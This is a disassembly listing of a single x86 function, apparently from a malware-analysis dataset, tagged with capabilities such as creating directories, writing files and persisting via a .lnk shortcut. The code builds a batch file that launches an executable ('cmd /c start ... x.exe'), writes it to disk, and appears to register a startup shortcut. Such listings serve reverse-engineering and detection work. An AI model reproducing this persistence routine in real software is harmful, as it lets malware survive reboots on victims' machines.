Function at 0x40c780
Capabilities:
Create directory
Persist via lnk shortcut
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push 0xfffe
push 0x40
call dword [0x48a094]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40ca08
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x436848
call dword [0x48a448]
test eax, eax
jne 0x40c9fe
push str.BAB3B0D9_C1F0_4514_9AAA_E3310050E945
mov ecx, dword [ebp - 8]
push ecx
push 0x432444
push 0x7fff
mov edx, dword [ebp - 4]
push edx
call fcn.0042206a
add esp, 0x14
lea eax, [ebp - 0xc]
push eax
push 0x47e680
call fcn.0040a2d0
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40c9f4
push 0xbb8
push 0x40
call dword [0x48a094]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40c9ea
push str.93965B72_97FB_4C59_820C_DE33034FA21C
push str.x.exe
mov ecx, dword [ebp - 0x10]
push ecx
push str._echo_off_ncmd__c_start______S_S___S
push 0xbb8
mov edx, dword [ebp - 0x14]
push edx
call fcn.00422cdb
add esp, 0x18
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0x436858
call dword [0x48a448]
test eax, eax
jne 0x40c9e0
push 0xfffe
push 0x40
call dword [0x48a094]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40c9d6
push str.A38E9AC3_2140_4BAB_8FC1_9CA8D1CA99FF
mov ecx, dword [ebp - 0x1c]
push ecx
push 0x43247c
push 0x7fff
mov edx, dword [ebp - 0x20]
push edx
call fcn.0042206a
add esp, 0x14
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
je 0x40c8b3
call dword [0x48a0f4]
cmp eax, 0xb7
jne 0x40c9cc
push 0xfffe
push 0x40
call dword [0x48a094]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40c9cc
push str.369FC5FB_EF3D_4B36_975C_06D7E3178EE0
push str.A38E9AC3_2140_4BAB_8FC1_9CA8D1CA99FF
mov ecx, dword [ebp - 0x1c]
push ecx
push str._s_s_s.bat
push 0x7fff
mov edx, dword [ebp - 0x28]
push edx
call fcn.0042206a
add esp, 0x18
mov dword [ebp - 0x2c], 0xffffffff
push 0
push 0
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40c9c2
mov dword [ebp - 0x30], 0
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x18]
jne 0x40c9b2
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x48a08c]
mov dword [ebp - 0x2c], 0xffffffff
push 0x4324a4
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0041b8e0
add esp, 0xc
test eax, eax
jne 0x40c9b2
mov eax, dword [ebp - 0x28]
push eax
call dword [0x48a0a0]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x48a464]
mov edx, dword [ebp - 8]
push edx
call dword [0x48a464]
mov eax, dword [ebp - 4]
push eax
call dword [0x48a0a0]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x48a0a0]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x48a0a0]
mov eax, 1
jmp 0x40ca0a
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40c9c2
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x48a08c]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [0x48a0a0]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x48a0a0]
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x48a464]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x48a0a0]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x48a0a0]
mov eax, dword [ebp - 8]
push eax
call dword [0x48a464]
mov ecx, dword [ebp - 4]
push ecx
call dword [0x48a0a0]
xor eax, eax
mov esp, ebp
pop ebp
ret